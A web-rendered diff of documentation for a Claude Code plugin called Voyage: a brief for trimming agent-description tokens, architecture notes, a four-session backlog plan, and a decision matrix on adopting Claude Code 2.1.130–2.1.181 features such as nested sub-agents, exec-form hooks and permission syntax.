- If a lead sentence is currently entangled with the first `<example>`, lightly rewrite it into a clean 1–2 sentence trigger — minimal, not a rewrite.
|
||||
|
||||
## Non-Functional Requirements
|
||||
|
||||
- **Zero new dependencies.**
|
||||
- **Always-loaded `description` budget:** total frontmatter `description` chars across all 24 agents drops from **~17,672** to **≤ ~6,000** (~2,500–3,100 tok saved).
|
||||
- No regression in agent auto-selection for the agents that are legitimately autonomous (the researchers) — spot-check that a direct research-style prompt still routes sensibly.
|
||||
|
||||
## Success Criteria
|
||||
|
||||
- **Full suite green:** `node --test 'tests/**/*.test.mjs'` exits 0 (same pass count, or deliberately updated pins with rationale).
|
||||
- **No `<example>` in any frontmatter `description`:** the frontmatter-only scan below prints `0`:
|
||||
```bash
|
||||
python3 - <<'PY'
|
||||
import re,glob
|
||||
n=0
|
||||
for f in glob.glob('agents/*.md'):
|
||||
t=open(f).read(); m=re.match(r'^---\n(.*?)\n---', t, re.S)
|
||||
fm=m.group(1) if m else ''
|
||||
dm=re.search(r'description:\s*(.*?)(?=\n[a-zA-Z_][a-zA-Z_-]*:\s|\Z)', fm, re.S)
|
||||
n+=(dm.group(1).count('<example>') if dm else 0)
|
||||
print(n) # must be 0
|
||||
PY
|
||||
```
|
||||
- **Examples preserved in bodies:** `grep -l '<example>' agents/*.md` still lists the 17 agents (the blocks moved, not vanished).
|
||||
- **Agent count unchanged:** 24 agents, each with non-empty `name` + `description`. Plugin validates (plugin-validator / inventory tests green).
|
||||
- **Token budget met:** total frontmatter `description` chars ≤ ~6,000 (measure with the per-agent script in the worklist / the snippet above adapted to sum lengths).
|
||||
- **Behavior unchanged:** `/trekplan` (and trekresearch/trekreview) still launch the same agents by name — diff touches only `agents/*.md`, no command files.
|
||||
|
||||
## Research Plan
|
||||
|
||||
No external research needed — the codebase and this brief contain sufficient context for planning. (research_topics = 0.)
|
||||
|
||||
## Open Questions / Assumptions
|
||||
|
||||
- **[ASSUMPTION]** The 17 example-bearing agents are invoked **by name** from orchestrator commands — verified by the config-audit session against `voyage/commands/*.md` (explicit "Launch the X agent" prose + per-size launch tables + explicit `voyage:<name>` references). The `<example>` auto-trigger blocks are therefore non-load-bearing for voyage's actual invocation path.
|
||||
- **[Q]** Do any voyage tests assert on `<example>` presence/count or `description` length in `agents/*.md`? **Check first** (`grep -rn 'example\|description' tests/`), so a pin is updated intentionally, not discovered as a red test.
|
||||
- **[ASSUMPTION]** The `*-researcher` agents (community/contrarian/docs/security) and `gemini-bridge` may also be autonomously selected outside the trek pipeline → keep their lead sentences trigger-worthy (don't reduce to a bare label).
|
||||
|
||||
## Prior Attempts
|
||||
|
||||
- **M1a — voyage v5.6.1 (2026-06-24):** trimmed the 4 non-spawnable reference/dormant agents' (`planning/research/review-orchestrator` + `synthesis-agent`) verbose `description:` fields to one-liners; orchestrators kept their pinned phrase, synthesis kept its DORMANT flag. Suite stayed green (756). **M4 extends that same always-loaded-token-trim to the 17 spawnable agents' `<example>` blocks** — the larger remaining chunk M1a deliberately left.
|
||||
|
||||
## Reference data (config-audit Fase-1 measurement, 2026-06-26)
|
||||
|
||||
24 agents, **17,672 `description` chars (~4,418 tok)**, **34 `<example>` blocks**, ~12,591 chars (~3,147 tok) inside `<example>…</example>`. The 17 example-bearing agents (descending `description` size):
|
||||
|
||||
| agent | desc chars | examples |
|
||||
|---|---:|---:|
|
||||
| community-researcher | 1280 | 2 |
|
||||
| contrarian-researcher | 1270 | 2 |
|
||||
| gemini-bridge | 1226 | 2 |
|
||||
| security-researcher | 1207 | 2 |
|
||||
| docs-researcher | 1138 | 2 |
|
||||
| session-decomposer | 946 | 2 |
|
||||
| convention-scanner | 939 | 2 |
|
||||
| brief-reviewer | 870 | 2 |
|
||||
| research-scout | 847 | 2 |
|
||||
| test-strategist | 823 | 2 |
|
||||
| dependency-tracer | 818 | 2 |
|
||||
| task-finder | 817 | 2 |
|
||||
| git-historian | 795 | 2 |
|
||||
| risk-assessor | 794 | 2 |
|
||||
| architecture-mapper | 789 | 2 |
|
||||
| scope-guardian | 750 | 2 |
|
||||
| plan-critic | 692 | 2 |
|
||||
|
||||
Zero-example (leave as-is): review-coordinator (345), code-correctness-reviewer (292), brief-conformance-reviewer (266), synthesis-agent (228), planning-orchestrator (184), research-orchestrator (179), review-orchestrator (177).
|
||||
|
||||
## Metadata
|
||||
|
||||
- **Created:** 2026-06-26
|
||||
- **Interview turns:** 0
|
||||
- **Auto-research opted in:** no
|
||||
- **Source:** manual (cross-session coordination brief from the config-audit machine-tuning session)
|
||||
|
||||
---
|
||||
|
||||
## How to continue
|
||||
|
||||
```bash
|
||||
# (optional) confirm no test pins <example> in descriptions first:
|
||||
grep -rn 'example' tests/ | grep -i descr
|
||||
|
||||
# plan + execute via the voyage pipeline:
|
||||
/trekplan --project .claude/projects/2026-06-26-agent-description-token-trim/
|
||||
/trekexecute --project .claude/projects/2026-06-26-agent-description-token-trim/
|
||||
|
||||
# or implement directly (it's a uniform, mechanical 17-file edit) and release as a patch (v5.6.2):
|
||||
# - move each agent's 2 <example> blocks from frontmatter description into a body
|
||||
# "## When to use — examples" section
|
||||
# - node --test 'tests/**/*.test.mjs' (green)
|
||||
# - version-sync + CHANGELOG + tag + catalog ref-bump (check-versions green)
|
||||
```
|
||||
|
|
@ -37,7 +37,7 @@ Doc-consistency test at `tests/lib/doc-consistency.test.mjs` pins agent-table co
|
|||
|
||||
**Brief:** 7-phase workflow: Parse mode → Create project dir → Phase 3 completeness loop (section-driven, no question cap) → Phase 3.5 per-phase effort dialog (v5.1) → Phase 4 draft/review/revise with `brief-reviewer` as stop-gate (max 3 iterations; gate = all dimensions ≥ 4 and research plan = 5) → Finalize (`brief.md` on pass, or `brief_quality: partial` on cap/force-stop) → Manual/auto opt-in → Stats. Always interactive. Auto mode runs research + plan inline in the main context (v2.4.0).
|
||||
|
||||
**Phase 3.5 (v5.1) — adaptive-depth signals:** Between Phase 3 completeness exit and Phase 4 draft, the operator commits an effort level (`low | standard | high`) and an optional `model` (`sonnet | opus`) per downstream phase (`research`, `plan`, `execute`, `review`) via 4 tier-coupled `AskUserQuestion` calls. The choices land in `brief.md` frontmatter as `phase_signals:` (a list of `{phase, effort?, model?}` entries) when committed, or `phase_signals_partial: true` when the operator force-stops. `brief_version: 2.1` activates the **sequencing gate**: validator emits `BRIEF_V51_MISSING_SIGNALS` if a 2.1-versioned brief lacks both fields. Downstream commands surface a friendly hint pointing back to `/trekbrief` — enforcement is validator-only. Composition is documented prose in each downstream command's `## Composition rule (v5.1)` section: `brief.phase_signals[phase] > profile.phase_models[phase]`. The brief signal wins per-phase when present; the profile fills gaps. `effort == low` activates each command's existing `--quick`-equivalent code-path (`/trekexecute` low-effort = `--gates open` + sequential-only). High-effort behavior is deferred to v5.1.1 per brief Non-Goal.
|
||||
**Phase 3.5 (v5.1) — adaptive-depth signals:** Between Phase 3 completeness exit and Phase 4 draft, the operator commits an effort level (`low | standard | high`) and an optional `model` (`sonnet | opus | fable`) per downstream phase (`research`, `plan`, `execute`, `review`) via 4 tier-coupled `AskUserQuestion` calls. The choices land in `brief.md` frontmatter as `phase_signals:` (a list of `{phase, effort?, model?}` entries) when committed, or `phase_signals_partial: true` when the operator force-stops. `brief_version: 2.1` activates the **sequencing gate**: validator emits `BRIEF_V51_MISSING_SIGNALS` if a 2.1-versioned brief lacks both fields. Downstream commands surface a friendly hint pointing back to `/trekbrief` — enforcement is validator-only. Composition is documented prose in each downstream command's `## Composition rule (v5.1)` section: `brief.phase_signals[phase] > profile.phase_models[phase]`. The brief signal wins per-phase when present; the profile fills gaps. `effort == low` activates each command's existing `--quick`-equivalent code-path (`/trekexecute` low-effort = `--gates open` + sequential-only). High-effort behavior is deferred to v5.1.1 per brief Non-Goal.
|
||||
|
||||
**Research:** Foreground workflow (v2.4.0): Parse mode → Interview → Parallel research swarm (5 local + 4 external + 1 bridge, spawned from main context) → Follow-ups → Triangulation → Synthesis + brief → Stats. With `--project`, writes to `{dir}/research/NN-slug.md`.
|
||||
|
||||
|
|
@ -49,6 +49,8 @@ Doc-consistency test at `tests/lib/doc-consistency.test.mjs` pins agent-table co
|
|||
|
||||
**Continue:** `/trekcontinue` reads `{dir}/.session-state.local.json` (Handover 7), validates schema-v1 via `session-state-validator`, narrates a 3-line summary (project / next-session-label / brief-path), and immediately begins executing the next session. Auto-discovers active project state files under `.claude/projects/*/.session-state.local.json` if no explicit `<project-dir>` argument. Operator-invoked only — never auto-loaded via SessionStart. The `/trekendsession` helper is the informal-flow producer: writes the same state file for ad-hoc multi-session handovers that don't run through `/trekexecute`.
|
||||
|
||||
**Delegate the engine, keep the policy (cross-cutting; audited S32, 2026-06-20).** Every swarm and interview in the pipeline rides a *native* Claude Code primitive and re-implements no engine of its own: parallel sub-agent fan-out is a single-message multi-`Agent`-call dispatch (research swarm, exploration swarm, reviewer swarm), and interview turn-taking is `AskUserQuestion` (brief Phase 3, the research interview, the trekplan research-status gate, the trekreview scope gate). Voyage's value is the **policy** layered on top — never the scheduler, concurrency loop, or menu loop underneath: typed agent roles + effort defaults + codebase-size scaling (exploration); 4-angle decomposition (docs/community/security/contrarian) + per-source schemas + triangulation (research); the 12-key rule catalogue + no-cross-feed isolation + deterministic dedup/verdict (review); the section-driven completeness loop + framing gate (brief). Concretely: the brief's Phase-3 "selection rule" picks *which* question to ask (policy); `AskUserQuestion` does the asking (engine). The V01/V07/V08/V11/V24 balance-analysis audit confirmed all five already delegate natively — no engine re-implementation found; the doc-consistency test (`tests/lib/doc-consistency.test.mjs` § S32) pins the native-delegation prose so a hand-rolled engine cannot creep back in.
|
||||
|
||||
**Operator-UX guarantee (since v5.0.2):** `/trekbrief`, `/trekplan`, and `/trekreview` MUST always emit (a) a plain `file://<abs path>` URL AND (b) a copy-pasteable `open file://<abs path>` command in the final report block. The file:// URL must use an ABSOLUTE path (not relative or `~/`-prefixed) so terminals with cmd+click support (Ghostty, iTerm2, modern Terminal.app) can resolve it without shell interpretation. This is a non-negotiable operator-UX contract — the doc-consistency test pins both forms in all three commands' final report blocks.
|
||||
|
||||
**Operator-annotation HTML (v5.0.3):** the last step of `/trekbrief`, `/trekplan`, and `/trekreview` runs `scripts/annotate.mjs` against the just-written `.md` and prints the resulting `file://<abs path>` link. The HTML is self-contained (zero npm deps, zero external network, design-system-styled, light + dark + print) and modelled on `~/repos/claude-code-100x/claude-code-100x/build-site.js` (lines 1431–2255). The operator opens the file, the document renders as a proper article (headings / paragraphs / lists / tables / code / quotes — every element gets a stable `data-anchor-id`). In annotation mode (default ON, pencil-toggle in topbar), the operator can **select any text or click any element** → a form popover opens at the cursor with: section context auto-detected from nearest h1/h2, the anchored snippet (selection if any, else element text), **three intent buttons (Fiks / Endre / Spørsmål)**, comment textarea, Save/Cancel. The sidebar (Show annotations button) lists every annotation grouped by section with intent badge + snippet + comment + delete; clicking a card scrolls to and flashes the source element. **Copy Prompt** assembles a structured markdown (`### N. [Intent] Section: <…>` + `Quote: «…»` + `Comment: …`) and copies to clipboard. Persistence: `localStorage` keyed on absolute artifact path (`voyage-annotate:v2:<abs path>`). v5.0.0 removed the v4.2/v4.3 bespoke playground SPA + `/trekrevise` + Handover 8; v5.0.1 pointed at `/playground document-critique` (Claude-leads, wrong direction); v5.0.2 was operator-led but too thin (line-click + freeform note, no intents); v5.0.3 matches the claude-code-100x reference the operator first pointed at, with pencil-toggle / selection capture / intent categories / popover form / structured export. See [CHANGELOG.md](../CHANGELOG.md) § v5.0.3.
|
||||
|
|
@ -78,6 +80,24 @@ The `.html` files (`brief.html`, `plan.html`, `review.html`) are produced by `sc
|
|||
|
||||
No code-level dependency between plugins — the contract is filesystem-level only.
|
||||
|
||||
### Primitives per step (decision matrix)
|
||||
|
||||
Which native Claude Code primitive each pipeline step runs on today, and the alternatives that were considered and where they landed. Companion to *Delegate the engine, keep the policy* above; the full decision records live in `docs/voyage-vs-cc-balance-analysis.md`, `docs/T1-cc26-delegated-orchestration.md`, and `docs/T2-cc27-workflow-substrate.md`.
|
||||
|
||||
| Step | Primitive today (production) | Alternatives considered (status) |
|
||||
|---|---|---|
|
||||
| **brief** | Inline interview loop → `brief.md` (framing gate) | `AskUserQuestion` as the Q&A engine (recommended, not yet wired); Skill/Workflow auto-orchestration (rejected — one-shot, can't span slash-command/handover boundaries) |
|
||||
| **research** | Inline spawns a foreground swarm; MCP per agent¹ | Delegated `synthesis-agent` (PoC measured Δ main-context ≈ 0 → ships **dormant**, wired to nothing) |
|
||||
| **plan** | Inline: parallel explorer swarm → synthesis → adversarial `plan-critic` | Delegated orchestrator via nested sub-agents (CC-26 → lean NO, not wired; `planning-orchestrator.md` is a reference doc, not a spawnable agent) |
|
||||
| **execute** | Inline step loop; multi-session via `git worktree` + `claude -p` waves; deterministic manifest audit | CC `TaskCreate`/`TodoWrite` for progress/resume (insufficient — carries no step status / attempts / SHA / drift → own typed `progress.json` contract) |
|
||||
| **review** | Inline parallel reviewers (no cross-feed) → `review-coordinator` Judge | **Workflow** substrate for Phase 5–6 (bake-off POSITIVE: +4.4 % tokens / +54 % wall-time → shipped **opt-in `--workflow`**, not default; wholesale substrate swap declined) |
|
||||
| **continue** | Inline reads `.session-state.local.json` → zero-confirm resume | CC `--resume` (transcript replay, not typed work-state → insufficient) |
|
||||
| **cross-cutting** | 7 hook scripts: `pre-bash` + `pre-write` guards, `post-bash` stats, `session-title`, `pre-`/`post-compact` flush, **`Stop`→OTEL** export | — |
|
||||
|
||||
¹ MCP per research agent: `docs-researcher` → Microsoft Learn + Tavily · `community-`/`security-`/`contrarian-researcher` → Tavily (+ WebSearch/WebFetch) · `gemini-bridge` → Gemini Deep Research MCP. Graceful degradation when an MCP server is absent.
|
||||
|
||||
**Legend:** *production* = wired and active · *dormant* = shipped but wired to nothing (`synthesis-agent`) · *opt-in* = behind a flag (`--workflow`) · *not wired* = considered, deferred (delegated orchestrator, the `AskUserQuestion` brief engine).
|
||||
|
||||
## State
|
||||
|
||||
All artifacts in one project directory (default):
|
||||
|
|
|
|||
79
docs/balance-backlog-plan.md
Normal file
79
docs/balance-backlog-plan.md
Normal file
|
|
@ -0,0 +1,79 @@
|
|||
# Balance Backlog — Implementation Plan (multi-session)
|
||||
|
||||
**Status:** Active plan, decisions RESOLVED 2026-06-20. Mandated by operator ("vi skal gjøre alle backlog items").
|
||||
**Source:** the §6 backlog of `docs/voyage-vs-cc-balance-analysis.md`.
|
||||
**Operating mode:** ONE session per row → TDD (failing test first) → commit + push → update STATE → STOP. Direct surgical TDD, **not** Voyage-pipeline dogfood.
|
||||
|
||||
---
|
||||
|
||||
## Decision Register — RESOLVED (operator 2026-06-20)
|
||||
|
||||
The analysis deferred three forks to the operator. All three resolved to the conservative option (preserve capability / security code / the deliberate pin):
|
||||
|
||||
| # | Item | **Resolution** | Effect on plan |
|
||||
|---|------|----------------|----------------|
|
||||
| **D1** | V09 gemini-bridge | **Keep it as an agent** (count stays 24; model governed by D3) | No removal/rewiring. Model stays opus (D3). |
|
||||
| **D2** | V32 observability export | **Keep `lib/exporters/*` + `otel-export.mjs`; document the direct-export rationale** | Doc-only, no deletion of S21 security code. |
|
||||
| **D3** | 24-agents `model: opus` pin (`40d8742`) | **Keep the pin firm** | V09/V35/V08/V11/V16 model changes → **document-only** (record considered-and-kept). No guard-test change. |
|
||||
|
||||
**Consequence:** the model + observability work collapses from code-deletion to a documentation record. Real code remains in V15 (export trim) and V30 (economy calibration). The plan is now **4 sessions** (2 code, 2 doc/audit).
|
||||
|
||||
---
|
||||
|
||||
## Cross-cutting constraints (every session)
|
||||
|
||||
- **No Handover-1 change.** The brief schema is the public contract; nothing here touches it. (V05 memory-alignment, the lone `breaking` capability, is KEEP-as-is — out of scope.)
|
||||
- **Doc-consistency is guard-tested** (`tests/lib/doc-consistency.test.mjs`, `tests/lib/agent-frontmatter.test.mjs`). Any inventory/count/model wording change must keep them green and stay coherent with README / CLAUDE.md + the "24 agents opus" references in `docs/voyage-vs-cc-balance-analysis.md` + STATE. Fix the SOURCE a pin guards, not the test.
|
||||
- **Test baseline:** 729 (`727/2/0`, bar `node --test`). Each session re-baselines + states the new count. `claude plugin validate` stays green (1 accepted warning).
|
||||
- **Line numbers rot** — re-grep the live file before editing.
|
||||
|
||||
---
|
||||
|
||||
## Session sequence (finalized — 4 sessions)
|
||||
|
||||
### S31 — V15: trim plan-export to its load-bearing variant · [CODE · non-breaking · no pin]
|
||||
- **Goal:** drop the `pr` / `issue` / `markdown` export variants from `trekplan --export` (CC auto-mode reformats markdown ad-hoc equally well); keep `--export headless` and relabel it as the decomposition entry it actually is.
|
||||
- **Files:** `commands/trekplan.md` (Phase 1.5 `--export`), `docs/command-modes.md`, export tests under `tests/`.
|
||||
- **TDD:** failing test asserting `pr|issue|markdown` are gone and `--export headless`(decompose) still resolves → implement → green.
|
||||
- **Verify:** `node --test` (new count); `grep -c "export pr" commands/trekplan.md` = 0; `--export headless` intact; plugin validate.
|
||||
- **Depends-on:** none.
|
||||
|
||||
### S32 — V01 + V07/V08/V11/V24: delegate-to-native hygiene · [CODE + AUDIT · non-breaking]
|
||||
- **Goal:** (V01) delegate the literal brief-interview Q&A turn-taking to `AskUserQuestion` rather than a hand-rolled selection loop; (V07/V08/V11/V24) audit that the research/exploration/reviewer swarms ride native parallel Agent spawn + `AskUserQuestion` and re-implement no engine. Fix any real re-implementation; otherwise document the "delegate the engine, keep the policy" principle.
|
||||
- **Files:** `commands/trekbrief.md` (Phase 3), `commands/trekresearch.md`, `commands/trekplan.md`, `commands/trekreview.md`, `docs/architecture.md` (principle note).
|
||||
- **TDD:** where an edit is made, a test pinning the delegated behavior; the audit portion yields a documented finding (no code change if already native).
|
||||
- **Verify:** `node --test`; plugin validate; principle note present in `docs/architecture.md`.
|
||||
- **Depends-on:** none.
|
||||
|
||||
### S33 — Documentation consolidation: record the considered-and-kept decisions · [DOC · non-breaking]
|
||||
Bundles the three items that D1–D3 turned into documentation:
|
||||
- **V35 (doc half):** relabel `planning- / research- / review-orchestrator` as **reference docs, not spawnable capabilities**; reconcile the "24 agents" framing (= 21 spawnable + 3 reference docs + 1 dormant `synthesis-agent`) across README / CLAUDE.md / docs.
|
||||
- **V32 rationale (D2):** add to `docs/observability.md` why custom exporters + SSRF/path/field guards rather than a native collector (preserves S21 hardening; deliberate direct-export choice).
|
||||
- **Kept-opus rationale (D3):** record that opus on V09 (glue), V35 (dormant), V08/V11/V16 (mechanical/retrieval) was reconsidered and kept (pin `40d8742` stands) — a short note in the analysis doc / CLAUDE.md, no frontmatter change.
|
||||
- **Files:** `README.md`, `CLAUDE.md`, `agents/*-orchestrator.md` (header clarity), `docs/observability.md`, `docs/voyage-vs-cc-balance-analysis.md` (decision-record addendum), `tests/lib/doc-consistency.test.mjs`.
|
||||
- **TDD:** doc-consistency pin updated to the reconciled inventory framing → green.
|
||||
- **Verify:** `node --test`; counts/model claims coherent across all docs; `agent-frontmatter.test.mjs` unchanged + green (no model change).
|
||||
- **Depends-on:** none (settles the inventory baseline).
|
||||
|
||||
### S34 — V30: economy-profile Jaccard calibration · [CODE · non-breaking · pin-adjacent] ✅ DONE (2026-06-20)
|
||||
- **Goal:** the `economy`-profile Jaccard floor (0.55) is grounded in parked synthetic fixtures (Step-17 calibration deferred). Either run the calibration against real fixtures and replace the floor, **or** clearly relabel `economy` as experimental/uncalibrated in docs + the profile.
|
||||
- **Resolution: Path B — label, not calibrate.** The empirical run is v4.2-budget-gated ($60–120, unauthorized), so the fork is forced. `lib/profiles/economy.yaml` now carries `experimental: true` (validator type-checks the optional boolean); README + `docs/operations.md` + `docs/profiles.md` flag the `economy` row; the calibration doc cross-references the marker. (`lib/parsers/profile-jaccard.mjs` was untouched — it was listed for the calibration path only.)
|
||||
- **TDD:** 5 tests — economy declares `experimental: true`, premium/balanced do not, validator rejects non-boolean `experimental`, every profile-doc economy row flagged experimental, and the flag tracks the calibration's `parked-synthetic` status. Baseline 739 → **744 (742/2/0)**.
|
||||
- **Verify:** ✅ `node --test` green; ✅ `claude plugin validate` (1 accepted warning); economy's status now unambiguous + machine-checked.
|
||||
- **Depends-on:** none (lowest urgency; placed last).
|
||||
|
||||
**Backlog complete — 4/4 sessions shipped (S31–S34). All 8 §6 items disposed; 2 real code changes (V15 export-trim, V30 economy-label), the rest doc/audit.**
|
||||
|
||||
---
|
||||
|
||||
## Verification (plan-level)
|
||||
|
||||
- Every §6 backlog row maps to exactly one session: V15→S31; V01+V07/V08/V11/V24→S32; V35+V32+opus-pin record→S33; V30→S34. (8 items → 4 sessions after the conservative decisions.)
|
||||
- No session changes Handover 1; no operator pin overridden (D3 kept firm).
|
||||
- Each session ends green on `node --test` + `claude plugin validate`, doc-consistency reconciled.
|
||||
|
||||
## Out of scope (explicitly NOT in this plan)
|
||||
|
||||
- No gemini-bridge removal (D1 keep); no exporter deletion (D2 keep); no model downgrades (D3 firm).
|
||||
- No wholesale Workflow substrate swap (CC-27 DECLINED; V27 stays opt-in); no delegated-orchestration redesign (CC-26 lean-NO).
|
||||
- No brief-schema (Handover-1) change; no reopening of premium-default / framing-gate pins.
|
||||
311
docs/cc-upgrade-2.1.181-decision-matrix.md
Normal file
311
docs/cc-upgrade-2.1.181-decision-matrix.md
Normal file
|
|
@ -0,0 +1,311 @@
|
|||
# CC-upgrade decision matrix — Claude Code 2.1.130 → 2.1.181
|
||||
|
||||
**Scope:** Evaluate every relevant Claude Code change shipped between 2.1.130 and 2.1.181 (latest as of 2026-06-18) against Voyage v5.1.1, and decide adoption per change.
|
||||
**Precedent:** This continues the F2–F14 feature-adoption process referenced in the roadmap ("ny CC-versjon med relevant feature → vurder adopsjon analogt med F2–F14-prosessen"). The F-catalogue came from the extracted `ultra-cc-architect` plugin and is no longer bundled; this matrix is a fresh, self-contained catalogue (`CC-NN`) for the 2.1.130→181 window.
|
||||
**Method:** Two-track research (CC changelog digest + Voyage CC-capability surface inventory), synthesized in a single context. Sources: official changelog (`code.claude.com/docs/en/changelog.md`) + canonical `anthropics/claude-code` CHANGELOG.
|
||||
|
||||
## Provenance & verification (verifiseringsplikt)
|
||||
|
||||
- **Verified verbatim against the official changelog** (load-bearing claims): `2.1.172` sub-agent nesting; `2.1.154` Opus 4.8 + dynamic workflows; `2.1.166` SendMessage authority; `2.1.178` `Tool(param:value)` syntax; `effort:` frontmatter (`2.1.154`/`2.1.152`).
|
||||
- **From changelog research, not independently re-verified line-by-line:** all other entries below. Where a decision *hinges* on an unverified claim, it is marked ⚠️ and routed to EVALUATE, never SHIP.
|
||||
- **Note on 2.1.130–2.1.135:** these versions are not in the public changelog (public window begins 2.1.136). No user-facing entries to evaluate.
|
||||
|
||||
## Decision legend
|
||||
|
||||
| Decision | Meaning |
|
||||
|----------|---------|
|
||||
| **SHIP** | Adopt now — clear fit, low risk, no open design question. |
|
||||
| **EVALUATE** | Needs an empirical test or a design decision before ship/skip. The hard architectural items live here — honest, not deferred-by-another-name. |
|
||||
| **DEFER** | Adopt later; trigger noted. Not weekend-critical. |
|
||||
| **SKIP** | Not applicable or rejected; reason noted. |
|
||||
|
||||
## Workstream legend
|
||||
|
||||
| WS | Theme | Weekend-shippable? |
|
||||
|----|-------|--------------------|
|
||||
| **W0** | Correctness/trust — fix now-false documentation | Yes |
|
||||
| **W1** | Orchestration architecture — delegated spawning / Workflow adoption | No (multi-week, empirical) |
|
||||
| **W2** | Model & effort alignment (Opus 4.8 + native `effort:`) — **gates v5.4** | Partial |
|
||||
| **W3** | Guardrails & hooks | Partial |
|
||||
| **W4** | Free wins & release hygiene | Yes |
|
||||
|
||||
---
|
||||
|
||||
## W0 — Correctness / trust (the headline)
|
||||
|
||||
| ID | Change (version) | Type | Voyage relevance | Decision | Rationale |
|
||||
|----|------------------|------|------------------|----------|-----------|
|
||||
| **CC-01** | Sub-agents can spawn their own sub-agents, up to 5 levels deep (**2.1.172**, verified); foreground subagents respect the same depth cap (2.1.181) | BREAKING-premise | Voyage's v2.4.0 inline-orchestration migration is justified in 4 places by the claim "the harness does not expose the Agent tool to sub-agents" → `agents/planning-orchestrator.md:5–11`, `agents/research-orchestrator.md:5–10`, `agents/review-orchestrator.md:5–12,:220`, `commands/trekplan.md:399–406`. **That claim is now factually false.** | **SHIP** (doc correction) | Independent of the architecture decision (W1), the docs assert an impossibility that is now possible. Correct the four sites to state the factual position: as of CC 2.1.172 sub-agents *can* spawn sub-agents (≤5 deep); Voyage currently still orchestrates inline; re-architecture is under evaluation (W1/CC-26). Do **not** silently delete — replace with truth + forward pointer. The *design* response is CC-26 (EVALUATE). |
|
||||
|
||||
---
|
||||
|
||||
## W4 — Free wins & release hygiene (weekend-shippable)
|
||||
|
||||
| ID | Change (version) | Type | Voyage relevance | Decision | Rationale |
|
||||
|----|------------------|------|------------------|----------|-----------|
|
||||
| **CC-02** | MCP `tools/list` pagination fixes (2.1.144/147); `MCP_TOOL_TIMEOUT` raises remote fetch timeout (2.1.142); sub-1000ms `timeout` now ignored→default (2.1.162) | FIX | research agents (`docs-researcher`, `*-researcher`) use tavily/ms-learn/gemini MCP | **SHIP** (verify) | Automatic benefit — no code change. Verify research agents still enumerate tools correctly under paginated servers. |
|
||||
| **CC-03** | `SendMessage` relayed messages lose user authority (**2.1.166**, verified) | BREAKING | Voyage uses `SendMessage` **nowhere** (confirmed by inventory) | **SKIP** | No impact. Recorded so a future `SendMessage`-based design knows the constraint up front. |
|
||||
| **CC-04** | Subagent frontmatter `mcpServers` now enforce `--strict-mcp-config` + enterprise allow/deny (2.1.153) | CHANGE | Voyage ships **no `.mcp.json`** and declares MCP *tool grants* (`mcp__tavily__…`) not server *configs*; agents degrade gracefully when servers absent | **EVALUATE** (low) | Likely no impact, but confirm research agents degrade cleanly under `--strict-mcp-config`. One quick test. |
|
||||
| **CC-05** | Fable 5 `[1m]` model-name suffix normalized automatically (2.1.173) | FIX | Voyage pins the `opus` alias, not raw ids | **SKIP** | No action; noted for completeness. |
|
||||
| **CC-06** | `claude plugin validate` flags `skills:` pointing at a file vs dir (2.1.145); richer `claude plugin details` (2.1.143/145) | NEW | release process | **SHIP** (process) | Add `claude plugin validate` to the pre-release checklist. Voyage ships no skills, but validate also checks manifest/components. |
|
||||
| **CC-07** | `fallbackModel` setting — up to 3 ordered fallbacks; `--fallback-model` now applies to interactive too (2.1.166) | NEW | `trekexecute` headless children (`claude -p`) could gain resilience to model-overload | **DEFER** | Real value for long headless waves. Trigger: when we touch `trekexecute` Phase 2.6 launch flags (or in W2 model work). Not weekend-critical. |
|
||||
| **CC-08** | Hooks may not fire reliably in headless child sessions — Voyage documents GH #36071 (`trekexecute.md:341`, `templates/headless-launch-template.md:48`) | (status unknown) | safety-preamble is the headless defense if hooks don't run | **EVALUATE** ⚠️ | Changelog does **not** confirm #36071 is fixed. Verify current status before relaxing the in-prompt safety preamble. Until verified: keep the preamble. |
|
||||
| **CC-09** | `--safe-mode` / `CLAUDE_CODE_SAFE_MODE` — start with all customizations disabled (2.1.169) | NEW | dev/test aid — reproduce "bare harness" behavior | **DEFER** | Useful for regression-testing Voyage against an unconfigured harness. Adopt into test tooling when convenient. |
|
||||
|
||||
---
|
||||
|
||||
## W3 — Guardrails & hooks
|
||||
|
||||
| ID | Change (version) | Type | Voyage relevance | Decision | Rationale |
|
||||
|----|------------------|------|------------------|----------|-----------|
|
||||
| **CC-10** | `Tool(param:value)` permission syntax, e.g. `Agent(model:opus)` (**2.1.178**, verified) | NEW | Voyage pins `opus` in 23 agent frontmatters *by convention*; this could enforce it as a hard permission rule | **DECIDED (design note)** ⚠️ | **Trap:** a blanket `Agent(model:opus)`-style rule conflicts with the `balanced`/`economy` profiles, which deliberately spawn `sonnet`. Any enforcement must be **profile-aware** → tie to W2. Do NOT ship a blanket opus-lock. **S2 resolution: no rule added; deferred into W2** — see §S2 resolutions. |
|
||||
| **CC-11** | `disallowed-tools` in command/skill frontmatter (2.1.152, verified) | NEW | tighten per-command tool surfaces (e.g. ensure `trekexecute` can't spawn Agents — it already documents "no Agent tool") | **SHIPPED ✅** | Promote existing *documented* tool exclusions into *enforced* `disallowed-tools`. Small, defense-in-depth. **S2: added `disallowed-tools: Agent, TeamCreate` to `trekexecute` frontmatter** (the only command with a documented exclusion). Verified `allowed-tools` omission does NOT remove a tool from the pool — `disallowed-tools` does. |
|
||||
| **CC-12** | Stop/SubagentStop hooks can return `hookSpecificOutput.additionalContext` without being a hook error (2.1.163) | NEW | `post-compact-flush.mjs` already emits `additionalContext`; SubagentStop is a new surface | **DEFER** | Possible richer continuity injection. No current gap forces it. |
|
||||
| **CC-13** | Stop/SubagentStop hook input now includes `background_tasks` + `session_crons` (2.1.145) | NEW | `otel-export.mjs` (Stop hook) observability | **DEFER** | Could enrich exported telemetry. Adopt when next touching the exporter. |
|
||||
| **CC-14** | Hook `args: string[]` exec-form — no shell, no quoting (2.1.139) | NEW | Voyage's 7 hooks invoke node scripts via shell form with `${CLAUDE_PLUGIN_ROOT}` paths | **SHIPPED ✅** | Exec-form removes a class of path-quoting bugs. **S2: migrated all 7 hooks** in `hooks/hooks.json` to `{command:"node", args:["${CLAUDE_PLUGIN_ROOT}/…"]}`. Official hooks doc recommends exec-form *"whenever the hook references a path placeholder"* — protects consumers who install Voyage under a path containing spaces. `${CLAUDE_PLUGIN_ROOT}` interpolates in `args` (verified). |
|
||||
